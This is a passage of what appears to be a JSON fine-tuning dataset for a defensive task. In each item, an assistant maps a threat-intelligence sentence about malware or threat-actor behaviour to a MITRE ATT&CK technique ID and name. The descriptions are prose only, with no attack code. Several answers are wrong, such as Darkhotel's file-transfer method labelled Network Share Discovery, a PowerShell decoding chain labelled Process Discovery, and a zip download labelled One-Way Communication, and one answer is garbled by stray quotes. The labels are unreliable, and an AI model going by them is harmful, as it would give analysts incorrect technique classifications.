                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used a portable FAT16 partition image placed in %TEMP% as a hidden file system."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has the ability to identify Workgroup membership."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor appears to support network communication over ports 80 (HTTP) and 443(HTTPS). In recent samples, a certificate is issued from the infected host for communication over HTTPS"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can execute shell commands. Orz can execute commands with JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can download files from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK has the ability to use HTTP in communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses JavaScript to perform its core functionalities."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can identify remote hosts on connected networks."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection. Figure 5 shows the commands used to perform these activities on a RAR archive renamed with a *.jpg extension"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9. This document contains an in-line link to a URL hosting a malware payload. When clicked, these links download malware binaries with file names masquerading as document files. In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files. Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\\Windows\\SysWOW64 directory that have a file name matching the following pattern: &lt;8 random lowercase chars&gt;.exe. Stacking or sorting on file creation timestamps in the C:\\Windows\\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood deletes shadow copies to ensure that all the data cannot be restored easily."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 briefly distributed the Kegotip information stealer in April 2017. Across two campaigns of several million messages each, the actor used both macro-laden Microsoft Word documents and zipped VBScript attachments to install the Trojan on potential victim PCs. Kegotip is an infostealer (credentials and email addresses) used to facilitate other crimeware activities. It steals credentials from various FTP clients, Outlook, and Internet Explorer. It also will gather email addresses scraped from files stored on the computer. This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InnaputRAT enumerates directories and obtains file attributes on a system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to index and compress files into a send queue for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has placed malware on file shares and given it the same name as legitimate documents on the share."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can inject its code into a trusted process via the APC queue."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes additional Jscript and VBScript code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu can change Internet Explorer settings to reduce warnings about malware activity."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has used obfuscated VBA string expressions."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has retrieved a GUID associated with a present LAN connection on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In my previous blog, I noted that a variant of the Cerber downloader was seen using BITS for a brief period of time and 10 out of these 11 samples were Microsoft Word documents leading to Cerber."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can check system time to help determine when changes were made to specified files."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "it operates over DNS traffic, but can also switch to encrypted channels such as HTTPS or SSL"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macros are also responsible for achieving reboot persistence for the ObliqueRAT payloads. This is done by creating a shortcut (.url file extension) in the infected user's Startup directory. Malicious shortcut in the infected user's startup directory to execute ObliqueRAT on startup"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The information this malware collected included the following:The computer nameThe usernameThe execution path of the sampleThe BIOS modelA randomly-generated ID to uniquely identify the systemGroup123 utilized this method to ensure their victim was (a) someone they wanted to target further and (b) someone they could infect further based on the information obtained from the reconnaissance phase"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform process injection by using a reflective DLL."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fourth, this Darkhotel event is not based on the network protocol C2, but based on a custom file transfer control instruction"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda has a command to delete a file. It also can uninstall scripts and delete files to cover its track."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's client component is packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The execution of the malicious PuTTY binary resulted in the deployment of a backdoor to the host. The deployed backdoor is an evolution of the malware family Mandiant tracks as AIRDRY."
            },
            {
                "role": "assistant",
                "content": "T1218 - Signed Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer transfers collected files to a hardcoded C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decrypting itself in memory,  downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can scan local network for open SMB."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has bypassed UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All this information is stored in the C:\\Users\\Public\\Videos\\si.ini file and sent in an email message, as an attachment, via SMTPS, using the default port 465. The email body contains the string SI (which probably stands for System Information), the recipient is sym777.g@post.cz. For all email exchange, the message’s Subject: set to the id"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) “KernelInjector” subsystem, also named by its developer – Standart – WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution"
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Newer variants of  will encode C2 communications with a custom system."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has exploited a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0, CVE-2017-7269, in order to establish a new HTTP or command and control (C2) server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has used PowerShell for script execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used pass the hash for authentication to remote access software used in C2."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has embedded binaries within RC4 encrypted .png files."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop has searched folders and subfolders for files to encrypt."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes shellcode and a script to decode Base64 strings."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel used a virus that propagates by infecting executables stored on shared drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak can create a Windows account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group persistence mechanisms have used \"forfiles.exe\" to execute .htm files."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to enumerate processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in Prikormka collects information from the victim about Windows OS version, computer name, battery info, and physical memory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can harvest clipboard data on both Windows and macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: Process chain for the first part of the campaign Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of process tree, its final purpose remained same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can use RC4 to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors deployed a file called `DeployJava.js` to fingerprint installed software on a victim system prior to exploit delivery."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "X-Force IRIS found that the SDBbot RAT installers are x64-packed and decrypt parts of SDBbot’s code and strings upon execution. In addition, they read a binary blob located within the registry HKLM\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\[3 characters]\\[1 character]. Depending on user privileges, a binary blog is located in the registry value. If regular user privileges are running, the installer component will establish persistence using the registry Run and execute ordinal #1 of the DLL"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to enumerate domain admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, Metamorfo has unzipped itself after being downloaded to the system and has performed string decryption."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobian RAT has a feature to perform voice recording on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla has been installed using a .bat file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has downloaded a zip file for execution on the system."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "opens a remote shell to execute commands on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can check if a specific process is running, such as Kaspersky's `avp.exe`."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a custom version of the RC4 algorithm that includes a programming error."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can start a remote shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can explore files on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can download remote files and additional payloads to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "automatically searches for files on local drives based on a predefined list of file extensions."
            },
            {
                "role": "assistant",
